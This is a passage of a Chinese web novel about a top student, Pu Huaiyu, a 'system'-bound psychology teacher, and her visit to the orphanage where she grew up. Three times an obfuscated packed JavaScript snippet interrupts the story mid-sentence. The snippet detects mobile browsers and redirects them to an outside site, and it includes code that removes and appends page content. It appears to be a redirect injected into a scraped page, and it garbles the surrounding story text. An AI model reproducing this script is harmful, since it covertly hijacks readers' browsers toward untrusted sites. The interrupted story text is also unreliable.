一女生在旁边揶揄出声,属于看热闹不嫌事大,光看不行,还得评价两句:“濮怀玉,你刚刚可是伤害了一颗脆弱的少男心,还有一堆暗恋章绪君的女生的少女心。” “我的好胜心也被伤害了,谁赔我。” 濮怀玉伸出手,“要不你替他赔我点钱,你看出他被伤害了,也能看出我被伤害了吧。” 女生被噎了一下,干笑:“我开玩笑呢。”穷疯了吧这是。 濮怀玉哪能看不出她腹诽自己,化作疾走的乞丐伸出手往前冲,丝毫不在乎其他人怎么看。 “同学,要不你赔我点吧。” “一点儿就行,没有现金支持饭卡代刷。” 那女生叫一句“神经病啊”,急忙跑开了。一边跑一边往回看,看到濮怀玉伸出手疾驰吓得根本不敢停。 总有人愿意慷他人之慨,而且总能在女和男之间选择后者。 前方就是班主任办公室。她停下脚步,收回手,在裤兜上擦两下,准备原路返回把秦紫怡拉走。 结果秦紫怡弯下腰,双手撑在大腿面上,脊背似乎紧绷着,情况不太好。 濮怀玉小跑过去,俯身察看:“怎么了?” “……还搞出宣战这出……”秦紫怡后知后觉对章绪君的宣战有所联想,艰难抬起头,“怎么办啊小玉,大家都很重视这次考试,明明只是月考而已……我有点焦虑了……” 刚说完,她就干呕了一下。 秦紫怡近来总这样念叨,忧心升入高三以来的第一次正式考会成绩不佳,甚至到心神不宁的程度。母亲是护士长,父亲是初中语文教师,过于“模范”所导致的家庭重担之下难免有如此想法。 被父母指责很糟糕,但长久以来秦紫怡也习惯了。最糟糕的是将自信心和忍耐力扑灭大半,整个高三基本报废,人生直接完蛋。 这种埋藏在胸膛深处的焦躁感,被半道杀出来的宣战者勾了起来。真是的,他煞有介事地跑过来干什么啊——秦紫怡现在完全笑不出来了,因为她不是濮怀玉,怎么考都行。 濮怀玉眼珠微动,建议:“要不要去跟心理老师聊一聊?让老师给你分析分析。” 恰如秦紫怡所想,濮怀玉根本没考虑过。考第二第三也没什么,名次只要够她去燕京念大学就好;章绪君来过又怎样,她不是第一不代表他就赢了,他要一厢情愿到处宣传“濮怀玉惨败”是他自己的事,濮怀玉不在乎。 她的注意力全在紧跟第一次月考后的运动会上,心想保不齐这次又要狂揽好几个项目,最近得练习起来。但种种因素叠加,并不妨碍她尽自己最大可能感同身受。 秦紫怡有些犹豫:“那我申请心理咨询的记录,不会被透露到魏老师或者学校那边吧?” “要是被透露,谁泄露我打谁。” 濮怀玉做了个给嘴巴拉上拉链的手势,“你告诉我方便的时间,我来约,你忌惮的话用我名字都行,到时候尽管去。现在最重要的是你的问题,不是别人有可能犯下的‘错误’。” 就她自己而言,为别人的错误对自己的问题避之不及太愚蠢。 濮怀玉倒不会形容秦紫怡愚蠢,她只会说这位和大多数同龄人一样胆小的好友是个瞻前顾后的小笨蛋。 秦紫怡最终决定将时间定为这周四午休之前,谈完直接昏睡过去,或者干脆一个中午都不睡,话疗到午休结束。 “取决于你。”濮怀玉自诩是个比较良心的中介,“隗老师这周二在10班有心理健康课,我下课后去找他。” 秦紫怡仰头给自己送服了一颗维C,声音像是金鱼在水面下吐泡泡:“你什么时候跟隗老师这么熟了,对我来说他的脸至今都有点模模糊糊的,真奇怪。” “不算熟,主要是很有新人美。”濮怀玉撑着下颚,“新来的老师不都有这样一个过程。”然后慢慢熏陶出老艺术家的从容和死感。 至于隗祯的脸蛋,印象竟然是“模糊”吗?濮怀玉有点不敢苟同。于她而言,要想记得隗祯的脸真是太容易了,非得做比喻的话,大脑像是自动开了超级大会员,一下子就能把隗祯脸部的高清照片拍下,然后塞进名为“审美提升”的相册里。 秦紫怡:“其实我更信任何老师。” “我也更喜欢女老师,但是何老师快到退休的年纪,实在不好约。”濮怀玉拍拍她的肩膀,“先退而求其次吧,说不定会有意外收获。” “行,那天你去找隗老师,我到食堂给你打包晚饭。” 隗祯不知道自己被放在二等位置上,要是知道说不定会有点受宠若惊,毕竟他为了摆脱赤脚老师的头衔一直都在看书看资料,一边恶补一边默念“为什么让我进入省赛”。 对此,系统锐评:「宿主的存在是对赛课体制最大的讽刺。」 隗祯扶额,将手上的书再翻一页:「 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448472|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说的确实没错。」 一下课,门打开,濮怀玉便出现在10班的门口。 “隗老师,我来给我的朋友预约,她因为即将到来的月考有点焦虑。” 看过时间,隗祯满口答应,在随身携带的记录本上写下。 记录完,他不忘多问一句:“你需要跟我聊聊吗?” “我不会因为考试紧张。”濮怀玉本想要拒绝,但她难得往心理咨询室跑一趟,买一送一未尝不可,“但也不是不行。具体聊什么,到时再说吧。” 到了当天,秦紫怡先进了咨询室。 因为学校六层的这扇门常年对外敞开,秦紫怡说了什么,站在走廊上就能听到,所以濮怀玉自觉到隔壁的杂物间坐着,拿出物理试卷来做,在空白处画非常意识流的受力分析图,已然沉浸在自己的艺术里。 房间外,也在渐渐安静下来。 半小时不知不觉经过,杂物间的大门被敲响。隗祯指向自己的办公室:“你可以来了。”待濮怀玉走出,他把杂物间的门带上,嘱托,“下次不要在这里等,灰尘太多,坐在里面的房间就行。” “好的。”濮怀玉点头,看见秦紫怡悄悄给自己比了个大拇指,看起来确实轻松不少。 她说:“那我就先回去午休了。谢谢隗老师。” “不用谢。” 濮怀玉小幅度对秦紫怡挥手,随后走进咨询室。“要不然,我的咨询推迟就下次吧。”校园里面异常静谧,炽热的光线让鸟雀都疲于发声,濮怀玉自觉已经到了不太合适的时间,“正好到了午休的时间。” 隗祯坐下,摘去眼镜:“没关系,我不是很困。你怎么样?” “恐怕回教室也是偷写作业。” 他莞尔:“那就是也不困的意思。我们聊聊吧,比如最近发生的事,还有即将发生的事。” 隗祯恶补的岂止是专业知识,还有各种麻辣教师剧本。要他把年级垫底的班级成绩提高到年级第一不可能,跟满教室的社会青年PK成功更不可能,但在一个学生身上实践,提升提升友情度还是可以实现的。 濮怀玉对此饶有兴致,但保持沉默。 “其实我上次就想说,老师和你的身世很相似。”此刻,斟酌许久的话语脱口而出,隗祯为这一刻的“共鸣”独自排演许久,不难想象他寄寓了怎样厚重的期待,“濮同学,我和你一样也是孤儿院出身。” 这是系统给予他的优势:一个无父无母,得亲戚荫蔽谋得一方住处、一个职业的孤儿。 从这点看,系统确实待他不薄。 濮怀玉眉间微拧:“哦?” 上扬的尾音并没有使得友好值的进度条上涨,而是猝不及防用提示音给了早有准备的隗祯一巴掌。 与此同时,至今没有任何动静、关乎他生和死的怀疑值,陡然飙升到一个恐怖的高度。 「怀疑值+90」 「当前怀疑值:90。」 她的表情变的分外冷淡:“我觉得不像。” 隗祯身上浓重的不匹配感,只会让濮怀玉流露不悦。她不喜欢被当做工具,彰显野心也好,表示怜悯也罢。 这种投机取巧,濮怀玉不接受。 “不管你信不信,这是老师的人生档案,老师不介意分享……” “你不介意,但我不并需要。”即使不愉,她的答复依旧有条不紊,没有宣泄情绪,礼貌地表达自己的人生准则,“我没有查看别人隐私的兴趣,我习惯亲自感受。” “我的身世不能换来你的,你的身世也不能换来我的,我们彼此的经历都是独一无二的。” 少女静静地看着他,就像这个被蒙上虚假面纱的世界里、唯一的道标,对伪装的公平不假辞色,“请您不要视作等价交换。” 她的最后一句话,更是有着让人醍醐灌顶的功效。于是,隗祯虽然在高达90的怀疑值上走钢丝,却在心惊胆战中感受到了一种被凌|虐的踏实感。 仿佛见不得白日的游魂被阳光照射时,身上传来淡淡的灼烧意味。 “……而且,隗老师,你表现的就好像,你已经等这一刻很久了。” 8. 008 说完,濮怀玉同他告别,面无表情离开了六层。 她鲜少有情绪牵动面部肌肉,从而给外人“我在高兴”“我在悲伤”的讯号,可这并不代表她没有感觉,这一刻濮怀玉身上的冷意无疑是真实的。 少女的话语,让隗祯无言以对。 到底谁才是老师?反正面对空荡荡的办公室,被教育到的不是身为学生的濮怀玉,而是他。 急功近利,像个商人一样为达目的无所不用其极。 隗祯原也只是个还算成功的商人。 就算坐拥千亿财富又如何。他想,他在为人坦荡方面,远远不及尚未成年的濮怀玉。 那样的坦荡是旁人难以接受的,所以容易被误解成锋利过甚。 「你搞砸了。」 系统无机质的声音冰冷似金属碰撞:「你应该庆幸,是濮怀玉的仁慈和宽容给了你一线生机。」 系统并未说错。甚至于在这种情况下,友好值也并未回落,维持在原本的水平上,似乎可以代表濮怀玉的态度:她感谢他的帮助和关怀,但不代表她认可这一次失败的交换,一码归一码。 隗祯拿假东西试图跟她交心,那就绝不可能获得自己想要的,濮怀玉一眼就识别出来他似乎郑重其事端出来的东西是珍宝还是废品。 人与人之间的真诚如此重要。即便百分之九十的人遗忘了自己出生时如何赤身裸|体坦荡地面对天地,濮怀玉仍呼唤着人与人之间的真诚。 至少在刚才跟隗祯面对面的情境中,真诚应该是顺其自然、顺理成章,否则他们何以触及心灵的真实?可他没有做到。 这让濮怀玉有点失望。 这是在开什么玩笑,他跟孤儿这个词有干系吗?不如说恰恰相反,倒像是家境殷实、父母相爱的家庭里培养出来的后代,起码得是中产家庭。 但她给自己的判断留存了一定空间,万一有误,岂不是伤了隗老师的心。 ——虽然,他说自己是孤儿的表情,真的有股让濮怀玉想要荒谬地轻笑出声的塑料味。 午休结束,教室内的同学悠悠转醒,为下午第一节课做准备。 秦紫怡扭头:“你怎么这么快就回来了?” “你没睡着啊。”濮怀玉顾左右而言他,不想谈论这个话题,“等会儿上数学课可别困到被朱老师点名。” 这招很好使,秦紫怡忙说“怎么可能”,想了想还是去厕所洗脸。 实在是朱老师的阴阳怪气太有杀伤力,往往用在课堂上走神的同学身上,但她的真才实学以及私底下从不记仇的宽和耐心又能让问题目的同学络绎不绝。 “濮怀玉。” 课上,朱老师点了她的名,“你来说说,这个填空题怎么解的。” 濮怀玉报出答案,再把小题当做大题庖丁解牛了一番,朱老师听得连连点头,原先走下讲台巡视同学做题情况造成的紧锁眉头刹那间舒开不少。 这样的同学一个班只要有一个,就能对她的乳腺非常有益。朱老师做了个坐下的手势:“很好,坐下吧。其他同学,刚才听懂了吗?思路非常清晰。” 要是人与人之间的相处也能像做数学题一样简单明了,那该多好。 濮怀玉没意识到自己忧郁的心路历程有多招人恨,比如学习委员。瘦猴般的男生,一下课就拿着自己的习题册过来找濮怀玉,美名其曰问她一道导数题。濮怀玉也不是个藏私的人,扫两眼开始边讲边做。 男生越听,心越喜。眼看着濮怀玉一点点推出最终答案,问他“听懂了吗”,他骤然将音量提高,一副奸计得逞的样子: “你怎么做出来的啊?我昨天晚自习问过朱老师,朱老师说条件不全,这是个错题。” 王宇听到声音,也走近,满脸讥讽地同他一唱一和:“我说呢,怎么做不出来,原来根本就是错的。濮怀玉,你不会以为人家学习委员还需要你来教吧?” 他后来被魏老师调走,如今还能不远万里绕过来讥讽人,倒也是阴魂不散。 好歹都被分进了1班,怎么都这么蠢。濮怀玉冷眼看两只猴子表演,说:“条件是不全,但这是道联考真题,你那野鸡习题册上的版本是错题,我试卷上的不是。” 王宇的笑容一僵。 学习委员则脸色骤变。 “所以,可以离开我的座位了吗?我要准备接下来的生物课。” 秦紫怡回来时,看到的便是两个垂头丧气离开的男生,以及面无表情抽出生物课本、就像将利剑出鞘的好友。 不管发生了什么,真的好帅! 她一下子就反坐在座椅上,抱着椅背说:“怎么回事?新晋贱客二人组找你麻烦啦?” “以后我要立个牌子,找我问题目行,但要是借讲题找我麻烦,数学考试次次满一百减五十。” 秦紫怡权当她心情不好是因为两个男生,激情开麦唾骂了一番,等到上课铃打转过去。 此后的好多天,都没有人再来影响濮怀玉的心情。 周五傍晚,孤儿院的姐姐来电,濮怀玉得知院长妈妈生病,周末准备临时回一趟在孤儿院的小家,跟校方打了报告。 作为隋城一中的先进事例,濮怀玉清楚只要自己在一天,学校的推送便能一直有东西可写,就连招牌都多了几分独特的光采,所以这点小要求不可能不满足。 结果就是,不仅被满足,魏老师还私下找到她,说她要是着急的话,周五的晚自习可以不上。 “要是有能帮上忙的地方,尽管联系我。” 濮怀玉难得露出淡淡笑颜:“好。那魏老师今年春节有空的话,还要过来吃饭。” 轻松拿捏假期,濮怀玉的心情却不轻松。姐姐在小灵通里告诉她,其实有段时间了,院长非要瞒着,这样的说辞让濮怀玉有些紧张。 濮怀玉曾和院长妈妈约定过,千万不要因为她要高考就不把重要的事情告诉她,比如生死,比如孤儿院的存续,太多太多比高考重要的事。如果一无所知直到事情抵达无法转圜的地步,濮怀玉才会承受不住。 行李无需收拾,濮怀玉背上书包便急匆匆往外走。此时校园内已经不那么嘈杂,晚饭时间所剩无几,自习的铃声或许就在呼吸之间。就这样小跑过拐角,眼前陡然开阔,露出陌生女老师的身影,以及隗祯。 女老师比较年轻,也很热情:“隗老师,周末要不要一起喝个咖啡?我知道南区新开了一家网红咖啡馆,最近特别火,赏个脸跟我一起去打个卡,怎么样?” “不好意思白老师,我这段时间比较忙。” 隗祯态度生疏地回绝。 不仅是对女性,还有不愿意发生交集的男性,隗祯从来都抱以温和而富有距离感的态度示人。往日他位高权重,一点委婉的否决足够有力,但今非昔比。 白老师装作不懂,笑道:“别呀隗老师,平常做老师压力多大啊,我们得有点自己的休闲时间解解闷。” 隗祯有些纳闷。 他也没有解除防OOC模块啊,为什么咬着他不放,一中未婚的适龄男老师又不是就他一个。 「叮,请宿主对自己的容貌有点自信,60%已经可以称得上是颇有姿色,在婚恋市场很吃香。」 这是什么形容。隗祯皱起眉,刚要说点什么,系统紧接着扔下一个重磅消息:「检测到任务对象与宿主的距离不足五米。」 无须刻意去找寻,背着书包的少女已然出现,神色冷冽。她瞥了他一眼,这一眼让隗祯有点紧张,下一秒濮怀玉张了张嘴: “白老师,隗老师在准备省级赛课,够他喝一壶了,应该没有时间和您一起喝咖啡。” 白老师立马理解了:“要赛课啊。难怪。”但看她怜悯中依稀还透着几分热切的眼神,恐怕这个借口也只能应付最近几个星期,“那隗老师忙吧,之后有机会再约。” 可以不约吗。隗祯没有回答,保持着温和的笑意道“白老师走好”。 问题解决,濮怀玉也准备走了,隗祯却拦住她:“谢谢你给老师解围。” “不用谢。”即便是着急要离开,濮怀玉也看出他的瞳孔正晕开欲言又止的涟漪,一圈又一圈,“隗老师,你不用多说什么,我可以自己感觉。我真的得走了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448473|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说罢绕开隗祯,便向校门口去。 而隗祯想了想自己手头唯一的坐骑是那辆初来乍到便出了问题的小电瓶,也断绝了拿送她一程提升友好值、降低怀疑值的念头。 到底谁才是老师。隗祯不禁在心里重复了一遍这句话。 他被濮怀玉教育,让濮怀玉解围,算什么劳什子教书育人的老师。 「濮怀玉怎么这个点离开学校?」 「孤儿院的院长生了病,动完手术才松了口允许其他人转告她。」 前世的隗祯身在高处,不想见也见了太多普通人见不到的丑恶,如今他说:「听起来是位人品说得过去的院长。幸好濮怀玉遇上的是好人。」 坐上公交车颠簸半个小时,在站台下车再步行近一千米,濮怀玉越走越快,最后是跑进随愿孤儿院的。 平常那般坚毅,有时候甚至说得上强硬的少女,此刻也不过一只到处寻找母亲的幼崽,慌忙之下有点像乱撞的无头苍蝇。 “妈妈呢?” “小月,你看见妈妈了吗?” 陆乔走下台阶,濮怀玉急忙走上前询问:“姐姐,我刚刚去妈妈的房间,她病着怎么不卧床啊。” 陆乔也是随愿孤儿院出去的孩子,在孤儿院时就作为“姐姐”照顾小时候濮怀玉,如今已然大专毕业几年,存下一笔钱后返乡反哺孤儿院。 她摸了摸鼻子:“院长应该在菜园子。其实这病有一阵了,我能告诉你,也是院长做完手术,默认可以了,我才打的电话。” “怎么这样。为什么之前不告诉我。” 事实已经尘埃落定,濮怀玉能做的也不过确认院长妈妈现在的情况,流着汗就要接着往菜园跑。还是陆乔提出要帮她拿书包,濮怀玉才得到片刻喘|息,但紧接着消失得无影无踪。 陆乔原地苦笑:“这孩子,真是……” 说是菜园,不过一小块种植着各色蔬菜的田地。远远看见弯下腰的中年女人,濮怀玉边跑边喊:“妈妈——” 院长起身,陈旧的绛紫色袖套带着泥土,在半空摇摆:“小玉!”然后张开,等待给气喘吁吁的少女一个拥抱。 濮怀玉没有抱她,而是不高兴道:“你为什么不在床上躺着。” “小问题,没什么大不了的。你又不是不知道,我身上问题多了去了,但是个个都不大。” “不大也得躺着歇歇。”濮怀玉一脸倔样,“我不许你劳作。要是志愿者干不完,我可以来干。” 院长笑了:“孩子,你都高三了,还要一边耕地,一边上学吗?累死你算了。” “对,累死我算了。” “又说气话。今天晚上想吃什么?” 濮怀玉说:“跟大家一起吃食堂就好。”她仍执着于院长刚做完手术不久就下地,“你去床上歇着,晚饭我给你盛好,你在床上吃。” “嘿,你这孩子,又不是残疾了。” 论眼界,这个只读过小学的女人实在没见过什么大的世面,但她有着最纯朴的心,最富足的精神世界。 她最先教会濮怀玉:一个人可以贫穷,可以不聪明,但绝不可以不善良,不可以精神贫瘠。 晚上吃大锅饭,留在孤儿院的孩子们看见濮怀玉,都叫她“小姐姐”。 “小姐姐,我下次要吃你做的拌面。” “呜呜呜大姐姐不让我吃糖,说我会吃坏牙的(装哭时亮出不全的两行牙齿)。” “小姐姐不要担心,妈妈已经恢复好了!” “大姐姐”是陆乔,“妈妈”是院长。这个半封闭的世界,是只有女性长辈的家庭的一半。 今晚的分饭师傅是濮怀玉,她轻松握住的手一点都不抖,哪怕捧着碗眼巴巴眼神暗示她的是不喜欢吃蔬菜的小朋友,也亳无慈悲一满勺蔬菜。 她说:“一个一个排好队,慢慢来。” 小朋友抱着蔬菜碗跑了,一边跑一边大哭:“哇——我不要小姐姐回来了——” 然后看到板起脸的陆乔,马上收起眼泪甚少的哭脸做到位置上,装作对晚饭很感兴趣,正在认真吃。 9. 009 仿佛对神经进行按摩的周末,濮怀玉生活其中,如鱼得水,倍感放松。 院长总是用“作业还没写完”让她乖乖呆在房间里,事实却是濮怀玉花不了那么多时间在试题上,她很快就如释重负搁下笔,走向小房间外的天地。 侍候庄稼,陪孩子们玩,照顾院长,或者到半开放的食堂后厨执掌一个不大不小的锅。 她做饭很有一手,又总是能紧跟潮流,“时髦”地做出孩子们喜欢的菜。除口味备受欢迎,濮怀玉还添置了很多模具,压出不亚于咖啡厅的漂亮饭。 簇拥成小熊形状的西红柿鸡蛋面,切片的红就像熊耳朵上的小花;画出彩虹的蛋包饭,挖开来里面还有一个完美的、像是卡通动画里会出现的太阳蛋;以及各种会被迪○尼法务发律师函的图案,有老鼠、兔子、狐狸,确实可爱,但也有女生嘟囔“我想要公主”。 “我画不好公主。”濮怀玉操着番茄酱老练地勾画,“你看,这是什么。” 失落的女孩定睛一看:“玲娜○儿!” 这些孩子虽然失去父母关爱、生活条件有限,但要是以为他们被以各种理由遗弃、精神世界就会有如枯井一般贫瘠,那就太轻率了。他们能认出当下流行的玲娜○儿,发出惊呼的同时陷入更深层次的纠结。 “玲娜○儿会不会不喜欢我。” “她好……好看,我感觉我脏脏的。” 濮怀玉镇定地给下一个画穿红短裤的大黑耗子,边画边说:“脏吗,脏的话你早就被我拎走洗澡了。” 小孩的伤春悲秋很短暂,她端着晚饭站在队伍外,突然对濮怀玉大叫:“我不要小姐姐打我屁股!”然后跑开,跟朋友坐一桌高高兴兴聊起来,将莫名其妙留给大人。 陆乔无奈,右手搭上濮怀玉左肩:“真是辛苦了。” “不辛苦。你以后要接院长的班,你的辛苦永远比我多。”少女低头忙碌,却并未回避肩膀上的重量,“没有爸爸妈妈又怎么样,可以自己把自己收拾得很干净。” 随愿孤儿院的孩子们有一个特点,就是个个都很整洁。 这里面离不开濮怀玉当初立威,她虽然是小姐姐,但孩子们怕她比怕陆乔这个大姐姐要多,又怕又憧憬,又怕又想跟她说话、跟她做一样的事。 濮怀玉终于忙好,跟陆乔面对面坐下来。 “别人这么说还好,你这么说,我总觉得有压力。”陆乔剥了个水煮蛋,沾点酱放到濮怀玉碗里,“但要你回来一门心思帮我,分担我的工作,我又特别舍不得你被埋没在这里。” 看着濮怀玉大口吃饭,陆乔用自己都说不清楚的情绪注视她:“你学习好,知道用什么方法,性格也比我踏实,还有包容心。我呢,在外面闯了那么几年,攒了点钱,原以为天高任鸟飞,最终还是回来了。” 濮怀玉咽下一口饭菜,抬头:“姐姐你让我回来,一句话的事。” 有她这句话,最后一点微妙的羡慕和嫉妒混进欣慰的目光,消失得无影无踪。 “小玉,等你到了燕京,见到那个跟你一个姓氏的姐姐,可不要忘了你在隋城还有一个姐姐。” “不会忘。” 要说见到,其实早就见到了。 在燕京做生意的另一位姐姐凑巧姓濮,又凑巧资助了濮怀玉,最凑巧的是她来隋城,两个人机缘巧合见了一面。 濮怀玉想去燕京,最早是那位姐姐给予她想象。她说,小城虽好,但磋磨人的心气,尤其是一个女人的心气。她还说,燕京的好学校多如牛毛,“你要能考过来,我会尽我所能继续帮你”。 机缘巧合的一面,更是为濮怀玉的燕京幻想镀上了一层具象化的金边。 “说不定,最后我们能把窝挪到燕京去。到时候我要带院长和小孩们爬长城。” 说罢,濮怀玉从自己碗里夹出陆乔爱吃的腊肉丢到她碗里,含糊道,“你也吃。” “我吃,我吃。”陆乔没推辞,只是说,“你这志向太远大,别被压垮了。小玉,你有享受青春的经历,不要事事都想着我们,时时都想着责任得有你的一份。” “我知道,我说的是大学毕业以后。” 陆乔:“那也还早。你要想在燕京稳定,要首先解决好自己的吃住。我就一句话,你到时候被骗了,别藏着掖着不说,要钱出钱,要人我立马买个飞机票飞过去。” “哇,空中飞人。” 陆乔忍不住拍了一下她的手腕:“你觉得你这个时候开玩笑,合适吗?你也真是的。” 随后,陆乔又跟濮怀玉聊起认识的阿姨要做介绍的日常琐事。她止不住地抱怨:“我宁愿她别说我人好,净给我介绍一些乱七八糟的男人。我读的虽然是大专,但从来没跟这种人混过,她倒好,几个星期内介绍来的社会人士比我这么多年见过的,加起来都多。” “你猜怎么样?还有好多没看上我的,嫌我不好看,是孤儿没有爸妈帮衬。我真是谢谢他们了。” 濮怀玉:“非得找对象吗?我们学校最近新来了个心理老师,我周五出校门的路上,他就被另一个女老师拦住要请喝咖啡。” 陆乔的注意力跟她不在同一个点上,面露羡慕:“我相了这么多次亲,没一个主动要请我喝咖啡的。你那老师是高材生吧?刚从学校出来就能找到体面的工作,肯定抢手。” 脑内一道光闪过,是馊主意降落地球。濮怀玉忽然身体微微前倾:“姐姐,你比他大不了几岁。他长得好看,人品也还不错,要是能搞定,孩子们的心理健康就有着落了。” 虽然对方最近得罪了她,但濮怀玉还是愿意相对公正地评价隗祯。 “人小鬼大,你还说起媒了。”陆乔弹一下濮怀玉的额头,小小地惩戒她的异想天开,“我不认识你那个老师,但他的条件肯定很好,能让我们小玉注意长相的男人实在不多。” 是啊,着实不多。 濮怀玉忆起隗祯的模样。好看成他那样的倒也着实不多,就连疲惫时都有股说不出来的韵味。 男人本就是亮出性别就占优的群体,他长成那样,人生只会舒坦得更加让人嫉恨。 “……只是小玉,我这人啊,面子和里子,没一个能用上的。” 再占优如何,少女始终站她的朋友,她的姐姐,还有她的妈妈这边。所以她坐回原处,面色有点不开心:“我就觉得你哪里都好。你这样说自己,我生气。” “凭什么你就要被挑拣,还得自我反省。那些小混混条件比你差多了,结果他们还是挑人的一方。” “那个阿姨也是,都是女人,为什么非要害你。她真的觉得那些人是良配了?我不想恶意揣测,但她给你不好的感受,我就不想考虑什么时代局限不时代局限的问题,我就觉得她有坏心思。” 有人同仇敌忾,这种感觉很好。 “好了,我也是相亲相着玩,你别真的心思不放在学习上,净想着给我找对象了。” 陆乔手痒到想猛搓她的脸,最终还是克制住了,“说起来,其实根本没人催婚。我自己想了想,跟你想法一样,这对象也不是非得找。” “从‘大姐姐’变成日后的‘院长妈妈’,我要照顾的孩子太多了。” 濮怀玉返校的前一晚,是跟陆乔睡的,睡在紧挨着院长卧室的一个小房间里。 陆乔起初没睡着,蒙进被子声音闷沉:“你什么时候月考?下周二?下周三?” “……姐姐……你能别说扫兴的事情吗……”濮怀玉已经睁不开眼睛了。 准确来说,是周二和周三两天,考完周四和周五上午半天拿来开运动会。 一中的考场一般按照上次考试的排名来,1考场从来大神云集。濮怀玉就这么踩着铃声走进,想低调不成,从后面绕到最前面,左上角的位置。 很受限制的位置,左边靠墙,坐下来总感觉自己不对称了,左边窄一点,右边宽一点,反正不够舒服。 这样一个不舒服的位置,却受到不少人虎视眈眈。比如濮怀玉刚坐下,她后面的章绪君便轻轻踢了一下椅子。 本意是在没发卷,没打铃前说两句,比如“你有没有带2B铅笔”“没带的话我有备用笔”,然后装作没看清笔身数字+字母的组合,拿成普通的HB铅笔。 章绪君发誓,他一定不会抱以坏心,只是不小心好心办坏事而已。但实际上濮怀玉看了他一眼,就好像他是2B,然后举起手,姿势非常标准,说一声“邪恶奥特曼”也不为过。 “老师,他踢我凳子。” 整座考场无疑是手心手背都是肉。老师立刻走下来:“怎么回事?” 章绪君涨红脸:“我……我刚才不小心碰了一下……” 老师的态度无疑是想息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448474|185205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事宁人,本也不是什么大事:“没有下次。你们都是一中这一届数一数二的学生,别让我强调纪律问题。” “下面开始发卷子。” 把卷子传给章绪君的时候,濮怀玉一记凌厉的瞥视随之递去,章绪君硬是没敢抬头。 这之后,濮怀玉也没有跟章绪君说话。他喜欢跟一群男生聚在后门处对答案,激动到近似红肿模样的脸颊和时不时高亢的“Yes”都彰显他是一个典型的高中男生,哪怕长相不典型。 秦紫怡听了几句,对照自己的选项,觉得还不错,询问好友刚刚的数学考试怎么样。 “手感没有上次好,应该没上次高吧。”濮怀玉没有对答案的习惯,但感觉向来很精准,“不管了,考一门丢一门,我饿了。吃完饭还要上晚自习呢。” 从后门经过时,濮怀玉看见了章绪君胜券在握的眼睛。 她不喜欢这种夸张的亢奋,很快便收回视线。 周三考完所有学科,男生聚集的地方从后门到老师的办公室。他们已经不满足于彼此对照,一定要找老师问个清楚。要是不一样,还会因为剧烈争执面红耳赤。 学习成绩虽然拔尖,但这群人在老师心里仍处于一个微妙的地带。濮怀玉路过办公室门口,便听到魏老师无奈的声音,说“你们不信,等最后改出来就知道了,不可能两个都算对”。 “行了行了,都回各自的班级去。再聚在这儿,作业就不是这一点了啊。” ——还能起到拖累整个班的作用。 濮怀玉腹诽,要是因为他们几个作业突然增多,她绝不会为多出来的那一部分买单。 反正她从不指望多做的那一点能帮她在最后的考试夺得高分。 好在作业没增加,班级内的气氛也焕然一新,开始讨论明天的运动会。 首先便是开幕式的入场,为了省钱沿用的是去年此时使用的班服,白色文化衫胸前定制了“I''mtheONE”的口号,下附“我爱1班”的小字。 乍看即热血,又有爱,但濮怀玉听过秦紫怡的解释,如今看到“我是1”只能沉默。偏偏当时想出这个创意的是魏老师,占大多数的男生也在诡异的兴奋气氛中以票数优势通过,一下子用到今天。 至于入场队形,先是一个大写的一,再是数字1,也算个不出错的创意了。 不是没有同学提议要搞创新,时间在月考之前,“魏老师,我们班好歹也有几个女生。虽然咱们班的风格比较糙,没有别的班的女生好看,但也算是绿叶中藏着几朵红花,可以充分利用起来,穿点清凉的裙子之类的。” 魏老师一下子沉默了,伴随缄默的是拧起来的眉毛。 濮怀玉想,她估计在怀疑人生。学习这么好的男同学,还能张口闭口当众把女生比来比去,像买菜一样挑剔,说什么“清凉一点”,是不是没救了。 不少男生都是看好戏的心态,但也有一个成绩在中下游的男生在里面小声说:“这样……不太好吧。” 只是很快淹没在绝大数中。 这时卫殊举起手,经魏老师同意后站起。 “我觉得我们班的男生姿色欠缺,但也可以发挥勇于展示的精神。我的提案是,请男生内部选出身材尚可的十位男同学,并且在以下服装中挑一套作为展示。” 她显然有备而来,亮出自己彩打的图片:露背篮球服,穿了等于没穿的黑马甲,只有下装的新中式妖男。 “我的妈呀,我们班男生穿肯定辣眼睛,就跟那什么小鸡仔偷主人衣服一样。” 本是肺俯之语,结果教室内太安静,秦紫怡的吐槽清晰到魏老师的眉梢都抽动了一下。她立马捂嘴,表情因惊慌扭动出惊悚的线条。 乱成一锅粥了,趁热喝了吧。 综上,最后男生没再提“穿着清凉”一事,带头人跟卫殊一起进了魏老师的办公室,最终先出来的是卫殊。 